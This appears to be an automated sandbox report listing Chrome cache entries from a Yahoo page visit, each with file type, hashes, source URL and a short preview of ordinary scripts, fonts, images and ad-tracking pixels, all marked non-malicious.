Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-countdown",[],t):"object"==typeof exports?exports["wafer-countdown"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-countdown"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(r){if(n[r])return n[r].exports;var o=n[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)\|\|Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,n){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a functi

Chrome Cache Entry: 360

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (20629)
Category:	downloaded
Size (bytes):	30747
Entropy (8bit):	5.561594997223011
Encrypted:	false
SSDEEP:	768:pChGLMtCGsOpYfkKz4wDQjZvy/PYQWwY4RXrqt:pqGItCG9YfDQjZK/PYQWwY4RXrU
MD5:	218CC8711BD6ED687430604BB092B43D
SHA1:	D392EA4574C18834FDAD997A8E451C0608C16DD5
SHA-256:	688475C91C884A3B519247313DDDF8A9C2BA941594D616B3DC7E698CA416E5C5
SHA-512:	FFC0FBD26469094AB96EF53E03A7FFCE2198FE3584CFEAE39C189246EF9876196D8D40CD428E137B35545E4E3162B28AD9F3F66F78841B6A6D68B8B6ABB75EED
Malicious:	false
Reputation:	low
URL:	https://hb.yahoo.net/checksync.php?vsSync=1&cs=8&cv=31&https=1&cid=8YHBJ3BJ0&prvid=25268%2C25224%2C25025%2C25146%2C25223%2C25300%2C25028%2C25027%2C25302%2C25269%2C25225%2C25304%2C25306%2C25141%2C25140%2C25220%2C25022%2C25021%2C25024%2C25145%2C25221%2C25060%2C25158%2C25235%2C25036%2C25278%2C25237%2C25159%2C25038%2C25118%2C25239%2C25117%2C25270%2C25072%2C25031%2C25030%2C25198%2C25274%2C25276%2C25071%2C25202%2C25003%2C25006%2C25204%2C25007%2C25208%2C25009%2C25282%2C25240%2C25284%2C25042%2C25088%2C25286%2C25241%2C25087%2C25043%2C25002%2C25288%2C25001%2C25243%2C25280%2C25059%2C25136%2C25135%2C25017%2C25137%2C25217%2C25019%2C25018%2C25219%2C25218%2C25292%2C25053%2C25097%2C25250%2C25052%2C25096%2C25294%2C25296%2C25134%2C25298%2C25091%2C25090%2C25290&itype=YHB&purpose1=1&gdprconsent=1&gdpr=0&coppa=0&usp_status=1&usp_consent=1&uspstring=1YNN
Preview:	<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":25,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"\|","sepTime":"*","sepCs":"~~","vsDaTime":15552000,"cc":"US","zone":" e ","coc":"NA"},"cs":"8","lookup":{"mn":{"name":"mn","time":180,"cookie":"data-mn","urls":[{"type":"other","url":"https:\/\/cs.media.net\/cksync?cs=3&type=yhb&gdpr=${GDPR}&gdpr_consent=${GDPR_CONSENT}&redirect=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26type%3Dmn%26ovsid%3D%3Cvsid1%3E%26axid_e%3D${AXID_E}","eu_url":null}],"pvid":25000,"isBl":0,"g":1,"cocs":0},"apx":{"name":"apx","time":89,"cookie":"data-apx","urls":[{"type":"other","url":"https:\/\/ib.adnxs.com\/getuid?https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26type%3Dapx%26ovsid%3D%24UID%26axid_e%3D${AXID_E}","eu_url":null}],"pvid":25004,"isBl":0,"g":1,"cocs":0},"tlt":{"name":"tlt","time":45,"cookie":"data-tlt","urls":[{"type":"other","url":"https:\/\/eb2.3lift.com\/getuid?gdpr=${GDPR}&cmp_cs

Chrome Cache Entry: 361

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (34587), with no line terminators
Category:	downloaded
Size (bytes):	34587
Entropy (8bit):	5.224073457898632
Encrypted:	false
SSDEEP:	768:sYUZ40ebmlPEkuYdvVfBkSm0L6ZMBC9gliwTkAXdEllr9fo764GyprVJ:D0ebmPEkumNfBk/0L6iBCjwTkAXdEll8
MD5:	84439433192FEA5B2C6DE991DBB908B0
SHA1:	9D37BEEE7D27407BE61D15FC5FBB7788C96E9D69
SHA-256:	A50CD765DC960512D033632139CD57336AC7E8DB767FF7EEC30C5355C75DC68E
SHA-512:	123F8B8734A56C3B2098D40046E3B41131ED2391E5FB9E10CD5C13951FFF552A78A68B973058BB488FAC4F39C8D7EBCE22F20326F82A1EFC2623E0A485CC2BEC
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-scrollview-2.22.2-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-scrollview",[],t):"object"==typeof exports?exports["wafer-scrollview"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-scrollview"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(s){if(i[s])return i[s].exports;var r=i[s]={i:s,l:!1,exports:{}};return e[s].call(r.exports,r,r.exports,t),r.l=!0,r.exports}var i={};return t.m=e,t.c=i,t.d=function(e,i,s){t.o(e,i)\|\|Object.defineProperty(e,i,{configurable:!1,enumerable:!0,get:s})},t.n=function(e){var i=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(i,"a",i),i},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,i){"use strict";function s(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a fun

Chrome Cache Entry: 362

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 65176, version 1.0
Category:	downloaded
Size (bytes):	65176
Entropy (8bit):	7.996782865840981
Encrypted:	true
SSDEEP:	1536:dJDFHWg/7CxUjbXmJ9U10h5An23d5X0LcpSOwHfvMQv:dJT/7CxUvmKgAakLcpSpHfU0
MD5:	B4DF4FCE99E5A3C3D1493112A0159071
SHA1:	D6CE384A32EC1D859406D6E4EBE3FE547DB3B82A
SHA-256:	C77AC0AA1AA3C9715CACB1FC76FEAF226E30927A9636E5C75C4DFEB75C0F8F98
SHA-512:	AF1F4EFF0DEB18BA2628D82BB6CA16D6340DC797A438B13F29929DB1548155F82FD1840D18C275438F5EC251A6E82670E2FF89477F1334E1CD45422E02E8EEDC
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/ngy-fonts/YahooSans-VF-Web.woff2
Preview:	wOF2..............^............................../......z?HVAR.w.`?STAT..../d......O..6.0..F.6.$..f. ..\|..9[.G....h,j+n..mD.gn.V....<..c1=..2..~.....v.^........%..[3.......f..f..?.aD.......y..T..;O.s~.......r~{.?..t.v. .D.K_...tV...7.J..-2.:F.DDD....;.j.....uRh.e<.(..JD..g.SE..6<...4..{Q....4a!..D...)`..B5..%.9..%a.....ga..2z.l....J......l....y"[.W ..,# .gL.3~..Y.S.sx..7.b....TAT..!..~6<..`....\|E...S.W.\|7..^.a....%2.KJ.Iu;...Z3".\|.!..D..!,.S.."W]z..O.>..`r...PJ,.9)D..k<n.@.%..^N...b...`.E..w.#........SE.'..M.vG.e'.2.._......m....w494.._........~.}N...^h...QmF.;.~U...q.........u.Q....p.5.l.(...U.~.....5c.3q:..[S..s.y..(J...V.....bc.haTY.Qg..W.V\xQi......g.....'\.o.".....=..BI..A.d\|....7'&.!...o..5D;K..W<tJ j..Cs+..%.&.0.........>N.1...).aP..G.co..6...s.c.....?6..&Q...`lx_.)....0u.....}.1...6..&mv...D&....M.. .L..aXDd.D.)Md...I.AL.I....5}.-./n3.tS..5.q..%.~.r^h.e.n./..CJ69... .......T..g.....}.3.z....%.7.":%......'Z4\.....0....M?.NE.8)ZjHVr.

Chrome Cache Entry: 363

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3678
Entropy (8bit):	7.926260072829547
Encrypted:	false
SSDEEP:	96:YDGx4BoXXRnaVGZYHZZT7hjChfjfZhx0pFkjT9:NAGG5ZktjfZheFkjZ
MD5:	5DCC9D5EC18D5EFDF0290D538A346A95
SHA1:	7B7945948587BC2A0AE44B9D0A22E923CF84B40D
SHA-256:	6A869E387368C1795201DA0214928E59205DF7337F8413043E8A320411C233BA
SHA-512:	6CE1E1870CE12535317AF5CC721F642A153E9911E09AB1D6BCE6481D33342C5AB0D5C586DB1DC38C5959F99132624D3360AE5BB8EDD7DE37A6559208EEF500CF
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/iu/api/res/1.2/3E6F0ARiT3ZQ7FArihI9Bw--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/nba/20181226/500x500/timberwolves_wbg.png
Preview:	.PNG........IHDR...2...2......?......pHYs..........&.?....tIME......8\|.B.....IDATh..ZiTU...O.+..2(..8.....2O..........QQA@D...1..16i...M..SL.....9M.d..O..k.]]M.....y#..X.:..}........p......S><V.8.....{....u..;.\|.5...<\|'.?.cA.y4..w.....u.XSF>aZr..K.N.6..\|..E..R..-.{.a......h.1.a......=.....)...g...... ......J-.&..d.:.....sb.....'Z....RBv..q..v'9.M..4.5..{...[@....%.~.,.^.'..;..1....X.....Qt.....d7#F..@7n.D/..J...].8......,........]#.C..h....yI..p.sc...C..5u..`d...pp{..1..yTf.y.O....$.7o...v.f........\|h...i...}...^.y....~Z>...\PaM^{..#?V..` ]E..3/......wT[..y...K.&.l......k.#PC.^.I.?..n.v..~.....s.../...#.....3.......'......4.mZh:i....[hO{....=.]2..6lk&.n....q..Ba.+(:...x.6y.f....-L.5z..9!.=.as..?t..b...M..p.k7..g^.@.~1...........\PE~.Yr.\..~..[r~%...G...Qlv99.u.9...r......>..K.x.....k.P.....h...r.~.......~Z.^n"Xhb..rI.6.....x...D....WN3..u.oY..\|.5..*...$.Oa?..vt.c)`.\|.{.?.<.{............D~}K;..\|bAB.].zC4......"..7...4uA.9.......-.$..4%

Chrome Cache Entry: 364

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	62
Entropy (8bit):	3.9237100146972455
Encrypted:	false
SSDEEP:	3:CUHl/RPlr02mxhl/E5lmfpse:f9x0Rl/HBse
MD5:	3F386F5061436A0338A64E0910DB495D
SHA1:	599FE4A552C991A2B3CE5A1660732BF7B21FB901
SHA-256:	0AF3AAE90B7DE9FDCEEE2AB421378EA2F54C74BE81EF43FC6C1790A032755D80
SHA-512:	235479F42CBBE0A4B0100167FECE0D14C9B47D272B3BA8322BCFE8539F055BF31D500E7B2995CC968EBF73034E039F59C5F0F9410428663034BF119D74B5672C
Malicious:	false
Reputation:	low
URL:	https://tags.bluekai.com/site/19505?id=y-9o13H_VE2pJPQdQQPya.tufWx_6sVLIGdaY-~A
Preview:	GIF89a.............!..NETSCAPE2.0.....!.......,...........L..;

Chrome Cache Entry: 365

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	21
Entropy (8bit):	3.403989446485262
Encrypted:	false
SSDEEP:	3:YBE+dmYn:Yvvn
MD5:	031A8B6F8BAEA1DF8DA69CAFED49D579
SHA1:	BA6C224B8AC88AD4368A30775BBD4CBAD9BE3BA5
SHA-256:	E5C0644466F49DFB193A225E813EB639BD14B0933EAA4CF457688BA716D49D95
SHA-512:	5B70D7F4F7B5A20657E835AEC1698BE17949EBA4E9B68E4DADD13B5BE9328A602CA815C9AD9CC6205F291199E18E7237CB4512CC840904F65AC4162F388B5801
Malicious:	false
Reputation:	low
URL:	https://www.yahoo.com/tdv2_fp/api/resource/WeatherLocationService.favoriteLocation?returnMeta=true&lang=en-US&region=US&site=fp&ssl=1&crumb=zfSN82ZAbeD
Preview:	{"data":[],"meta":{}}

Chrome Cache Entry: 366

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 367

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	5.110902344426086
Encrypted:	false
SSDEEP:	3:YEOBH82zflxbOY:YEOBzfPOY
MD5:	285C22C624B5AFEF23CE290D1AFCF0D3
SHA1:	DAB61A9B4A1C06906B40700174DCCA61E7A20712
SHA-256:	EB96B589E81F13AF10E289BFAB13CCF49AF9459E12E141A76D18C6CC05E7E9A6
SHA-512:	1043C4B947CF39581542430247B73412ACFDA2CD05D9D31E47B0E986084CE7D753994C2AFADF505E0F5BECD549FCECEB18BF93ABC237C9B773CD53EA7A502E56
Malicious:	false
Reputation:	low
Preview:	{"axid": "y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A"}

Chrome Cache Entry: 368

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (308), with no line terminators
Category:	downloaded
Size (bytes):	308
Entropy (8bit):	4.914363427469079
Encrypted:	false
SSDEEP:	6:UZ8Q7X0QpbDRd7HXAQJA1Jz84+IfEtQ2AibwhRAWradJdiLTxJdiLbiCkqKBeBCJ:qXp5DRR3AQUJL++EGnhmXdJILTxJILbG
MD5:	703A7CD6E9AF37CFBCA340F3BE613253
SHA1:	F169A4825C2C08B5D0A0E71FCDB8F15BE0DC4C25
SHA-256:	FB956232ED7B117D593726ADF564F70522C9EF28102BFE2D37E290BC4F2F3449
SHA-512:	8B35A753AA1A62F360FC5AE16B65009F2E89D3085F4D1D090BC58722B31B6AEAC195DEB7712F65F50EB16DBA0E6D0ED4142F2C5D5899E557B2F0CEEFB664903F
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/fp/js/react-wafer-scores.custom.modern.703a7cd6e9af37cfbca340f3be613253.js
Preview:	"use strict";window.wafer.ready((function(){const e=document.getElementById("league-select");e&&window.wafer.on("form:submit",(t=>{const{elem:n={}}=t;n&&n.getAttribute("data-test-leagueselect")&&window.rapidInstance&&window.rapidInstance.beaconClick("app-scor",e.value\|\|"",0,{elm:"dropdown",itc:1},"")}))}));

Chrome Cache Entry: 369

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60307), with no line terminators
Category:	downloaded
Size (bytes):	60307
Entropy (8bit):	5.226303366960662
Encrypted:	false
SSDEEP:	1536:DwWHzI01OwxqmIGAKoMuXpTteneKJ4jf0V:vHXm50j
MD5:	EF13714E251549821D2930D0D99D6B70
SHA1:	E0AD4BD5DADDE2EB8AA43C4691F50AAAF1CF96C2
SHA-256:	B3F5F787DAF156FA19C2916470F4EA8BDBF9E5828B3990C33C04810FA74ED084
SHA-512:	3AF3236583A8A9543406F3EBE6083A0A596D6AD1F3526258EDE20C0394689F6552AA5FF86D80DBE8D9CFADAA40EF8022AC7A5432DA249A15F3644055D9B7317F
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-core-1.65.0-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer",[],t):"object"==typeof exports?exports.wafer=t():e.wafer=t()}("undefined"!=typeof self?self:this,function(){return function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)\|\|Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,n){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function i(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}functi

Chrome Cache Entry: 371

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 29228, version 1.0
Category:	downloaded
Size (bytes):	29228
Entropy (8bit):	7.9913276388054175
Encrypted:	true
SSDEEP:	768:A08yHVMfsohDPuFkFetIg2Yst7BNq95YvCTn:A08yHWUH1kG95YCT
MD5:	7C7C02DCEE2BF1C2528DB6092D4AD1FA
SHA1:	988A01F705C074261490625C70F94B2642413693
SHA-256:	D5312DACBE6F248C6C4B60251D7ACF77BC3BC891CD9B880DEAD36D9BABB288C4
SHA-512:	633A7E026AD4AC657CFB7C11932C3D138016B633126A43A72578F11314ED90D880C7F8242E9607AF12195D0F4326AEEAD96150909C5C0FF17DFDF48081D4ADAD
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-Medium.woff2
Preview:	wOF2......r,.......4..q............................(..T.`..T.....s.....$..4.....6.$..0. .....,..B[.nq....WP.....S..b..m.@w u...`.^.6..B.....OM2f.F....U..1A.#...rY...b.....#..R..a.....{.c.....&]......O>^Xq...i.;W.L<.F...:>.....J\...%.6.1....,V.nTQ.9Q.E:..(p.R....<..k.\|.(.....).i6n..^2.......eV......b..I.....}P...d.4...\......K."..A...'Q\|...G..}.......1....a...eY\|....,,.1K b..b.'h.@L..A-.$D/.....?n....@...XM.......?........@ ..#..u...&.V.f.. .p.O..;..zyw{^y.../H.j..V..(@.pH.............[...r..s..A&.#.(.A...x..<.5mtTQu... .P.B.m.....t.._(.[.%..D..........l...P.V.PAB.RZJPQ..ra..U.(7..n.t.}D....M..A.C8..9.....w...S./.......tj&jd..d..$..$S.......i...z\|C....v..,..................-T...iR.!f..I.=....8s..D.....``.".9....\|.Op..2....EA.J.....'p....P6...%eal..N.>.....`{..m^...F..Q4..4....S.)7.. s..........^...t..^.B<.....Z...[....^!%..e..MSq..:YTb..oK....9..q j..<.I:em.Ps~...wE.xY1.JU.t...;...^E.....\|.[...t.m)mt.f.\].*.....p>B..d....h@..la

Chrome Cache Entry: 374

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	49
Entropy (8bit):	3.176789192964165
Encrypted:	false
SSDEEP:	3:CUVAae/XExlHrfx/n:8aOUJ/n
MD5:	56398E76BE6355AD5999B262208A17C9
SHA1:	A1FDEE122B95748D81CEE426D717C05B5174FE96
SHA-256:	2F561B02A49376E3679ACD5975E3790ABDFF09ECBADFA1E1858C7BA26E3FFCEF
SHA-512:	FD8B021F0236E487BFEE13BF8F0AE98760ABC492F7CA3023E292631979E135CB4CCB0C89B6234971B060AD72C0CA4474CBB5092C6C7A3255D81A54A36277B486
Malicious:	false
Reputation:	low
URL:	https://bcp.crwdcntrl.net/map/ct=y/c=14701/tp=MTAI/tpid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4/gdpr=0/gdpr_consent=
Preview:	GIF89a...................!.......,...........T..;

Chrome Cache Entry: 375

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 376

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, WAVE audio, IEEE Float, stereo 44100 Hz
Category:	downloaded
Size (bytes):	85336
Entropy (8bit):	7.402515364470518
Encrypted:	false
SSDEEP:	1536:cc/sLIWm0N5TTkS8NjHCEr3pReyJ0TFJz1fLtGCJL7:fsNdkSWH/0TFJzhLtTJX
MD5:	F35AD0C20D2F7E02B99E4866A98989D1
SHA1:	7E9960316F3EB5BC7B5F2FDA0B761ACF0CA898B1
SHA-256:	86145E56E9B4BD3A42E3DDF6B7CB6BC8E9372891AA5BAE35EA0F3FACDA3C99AA
SHA-512:	253FE78F7EA21143F4C8D0FEDBB29EB3DEBF6B08E5ECAB1CF2A4C0DEE1F80D9A870E6847AA9FB9A39D8D2F4E601594B633869B2FE77F8A1C3363372E6FF477CB
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/pv/static/misc/voice-error-202105050733.wav:2f6d360df5b6f2:0
Preview:	RIFFPM..WAVEfmt ........D... b.... .dataX...T'%.wwj.4.!...c..9...Z.....G]Q..L....G.....g.;...}./.-....#.S+...~.....9....h....0.............3.....aX..a.`.D7.b....G84......8@].?e.8.l 9~..9.C.9.X&9q.+:.j=9.ul:..S9w4.:HQj9...:H9.9.T.:V..9.1.:A.9>..;...9.U.;.].9.";.g.9...;p..9..:;.H.:..E;...:..O;.r.:J8Y;1u":..a;.Q+:..i;..2:.so;..8:Q.t;r.<:..x;.V?:..{;o.?:.};..>:. ~;..;:.v};(.6:.{;.a0:{.x;.(:Y.t;u..:..o;...:w.i;...:.pb;.&.:r^Z;.n.9.YQ;...9HjG;A..9R.<;...9..1;42.9..$;...9...;...9ZD.;...9.d.:.V.9sM.:jHx9.S.:.i]9..:..?9..~:s .9.=:[..8...9Ud.8..e9.:.8A..........B...Q)..a...s.R..?C..#..\..4P......l..j{...=.9.N...j...Y...YU.........Z+.d....\7.."...B..Q'...L.I.*.-.U.~J,...^...,.<+e...,..3k.?W+.-/p...)..#t..b'...w...%...x..."...y... .Z.y.....L.x......Ov..`....s..2....n..2...Mi..!..h.b.x....[..0...9S.<...`.J.`...C.?.....].5..c..)I).7{...... ..g...c.eX...5...?.y..J...Rm.y...v[,......l...K..5..w......7.E..z..8.;J..$.9s4~9.yN9...: ..9N:C:..9..:.J.9vy.:..9nR.:t&.9

Chrome Cache Entry: 377

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 8 bits/pixel
Category:	downloaded
Size (bytes):	1406
Entropy (8bit):	1.6826987302732233
Encrypted:	false
SSDEEP:	6:ZM6MdN4jF8VGH0xnYOqEiCNc/+O1t+KbAzNct/XTXP0zyQ59:ZM6gyh82eqExk+uvbAzNc14d
MD5:	B6814AE5582D7953821ACBD76E977BB4
SHA1:	75A33FC706C2C6BA233E76C17337E466949F403C
SHA-256:	4A491ACD00880C407A2B749619003716C87E9C25AC344E5934C13E8F9AA0E8B3
SHA-512:	958268F22E72875B97C42D8927E6A1D6168C94FE2184DE906029688A9D63038301DF2E3DE57E571A3D0ECC7AD41178401823E5C54576936D37C84C7A3ED8EF6B
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/wm/mbr/images/yahoo-favicon-img-v0.0.2.ico
Preview:	..............h.......(....... .................................`...d...f...i...k...m...p...q...s.. s..$v..*z..?...D...M...V..._...b...c...l...v...y...\|.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 378

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7977), with no line terminators
Category:	downloaded
Size (bytes):	7977
Entropy (8bit):	5.139495302416975
Encrypted:	false
SSDEEP:	192:3YwuuruQt21pxX3W9pOy1zraiGzTX2mD9v6KELqGG85rF04Av:3YDuqQo1pxsOyVra7zTGmBvEzrFhAv
MD5:	69D9917872FF1011BCB87D5044F6E12D
SHA1:	DB61157780300B24416F639DF9FB24C5A0829516
SHA-256:	F9F7F659C467019A4E8CA49A95810AFD7BAA0A791542C4041E0C0E828A86C18D
SHA-512:	1F0B45E4D82F4A1BBC1CBBF6461DC069AC724D7FF1919839732CC94735034A958A40865A53F013700A3D7C3657217A199A8F8DCDAEB07BF586C1531253FCF2DE
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-geolocation-1.3.0-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-geolocation",[],t):"object"==typeof exports?exports["wafer-geolocation"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-geolocation"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(r){if(o[r])return o[r].exports;var n=o[r]={i:r,l:!1,exports:{}};return e[r].call(n.exports,n,n.exports,t),n.l=!0,n.exports}var o={};return t.m=e,t.c=o,t.d=function(e,o,r){t.o(e,o)\|\|Object.defineProperty(e,o,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var o=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(o,"a",o),o},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,o){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a

Chrome Cache Entry: 379

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 536x284, components 3
Category:	dropped
Size (bytes):	43122
Entropy (8bit):	7.972453641934576
Encrypted:	false
SSDEEP:	768:lO769bFDmbNSzPnXVXUP4e+CQjsJ8RMHzoB3uYDJK0f+HvV0hn+Nd+R8NVQ:UUBqSbnXVkP4WQjskDJm9LNd+Kq
MD5:	FFF885FF9ACE446FD4902DE9236C937C
SHA1:	9DF537498790019ED17A5313C61979A3944E0F41
SHA-256:	EA77FAE0367CA65285243C9948A4B41DFF9DB28D0535B834E6DACB17F11DFA23
SHA-512:	483D695C2CF889E477AAD180CDBBBB2F544BFB350BACF667E18484B53B3CCEBAB13F408EA21DE3F6E36533B6AC37A2472D0445C1D18FC644AA588BF5BF5426AE
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C......................................................................................................................`...........................!1A.."Qa.2q....#BR.....$3Cbr..%4DFSs...&(58ETcv......Vt.....6dfu...................................1........................!1..#3."2A.$BQ.4Caq%R..............?..h.R..%6<x@......X^....?dW..Yw..g.....4..I..c..Zi........._......Qg@!...T..f'...x2....w....;$...r...-\8n...v?.M...Q..o.F{..DM[:./...4u....C.&8<........7.Z-.;.N4...$.....'..@.....v.@."..bIpL36.....7".].y.9X.........?F.....0=S)B..x...t.W...". ...3...(f.QHR.i.......=.....RE.v....f@....D..B>h..uh...;.G...V....... .6O....v-...U....!Wb..Y'.......er#.p.(.... .....`t ........S..t6..i.......G.....OG...Z..IR\I.m..-....;%..\._..4..z..Y_#.A..nQSQ..L..+...=.IS....iM:....C..0.\|.H..d.F...^.`...I...G..~....cj:...$....J.......2..Q4.2a.v.......R....y6.....;G.L.W..y .-.}.

Chrome Cache Entry: 380

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	153
Entropy (8bit):	5.202818850181865
Encrypted:	false
SSDEEP:	3:1B6Lna89+AJAHN8VLCL8SOGJMB5MdsJA0qEAQ9iwtEP7MjGG:/6maJ9UL8SYSds2REAQ9L+ji
MD5:	FA562ABC2F528DE04614CAC83BDE4AE0
SHA1:	323519B7316D6E15FFBC56D3D1D00D14CBF29BF5
SHA-256:	28E5615AF426444CCE0EB5298226371D32BB71F79ECE6DC497562151A3394273
SHA-512:	146612B9C912DBFF35FC29E67B322B47BB3F05E013E2BA0FF5F33BF02298C45E57B0967C22F80C85039B199F522D647F769FF4589FF98523DAE5EB60432EFE48
Malicious:	false
Reputation:	low
